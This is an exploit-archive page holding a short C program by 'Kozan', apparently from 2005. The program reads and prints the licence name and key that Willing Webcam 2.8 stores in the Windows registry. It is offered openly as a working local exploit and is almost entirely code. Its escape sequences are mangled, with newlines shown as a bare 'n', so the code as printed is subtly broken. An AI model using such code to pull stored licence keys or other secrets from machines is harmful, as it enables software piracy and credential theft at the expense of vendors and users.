[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Willing Webcam 2.8 Licence Info Disclosure Local Exploit
# Published : 2005-07-04
# Author : Kozan
# Previous Title : Access Remote PC 4.5.1 Local Password Disclosure Exploit
# Next Title : Solaris 9 / 10 ld.so Local Root Exploit (1)
/*****************************************************************
Willing Webcam 2.8 licence info disclosure local exploit by Kozan
Application: Willing Webcam 2.8 (and probably prior versions)
Vendor: Willing Software - www.willingsoftware.com
Vulnerable Description: Willing Webcam 2.8 discloses licence
informations (username and key) to local users.
Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <windows.h>
#define BUF 100
int main()
{
HKEY hKey;
char Name[BUF], Key[BUF];
DWORD dwBUFLEN = BUF;
LONG lRet;
if( RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\Willing Software\Willing WebCam",
0,
KEY_QUERY_VALUE,
&hKey ) == ERROR_SUCCESS )
{
lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, (LPBYTE)Name, &dwBUFLEN);
if (lRet != ERROR_SUCCESS || dwBUFLEN > BUF) strcpy(Name,"Not Found!");
lRet = RegQueryValueEx(hKey, "Key", NULL, NULL, (LPBYTE)Key, &dwBUFLEN);
if (lRet != ERROR_SUCCESS || dwBUFLEN > BUF) strcpy(Key,"Not Found!");
RegCloseKey(hKey);
printf("Willing Webcam 2.8 Local Exploit by Kozann");
printf("Credits to ATmaCAn");
printf("www.netmagister.com - www.spyinstructors.com n");
printf("kozan@netmagister.comnn");
printf("Licence Name : %8sn",Name);
printf("Licence Key : %8sn",Key);
}
else
{
printf("Willing Webcam 2.8 is not installed on your system!n");
}
return 0;
}
// www.Syue.com [2005-07-04]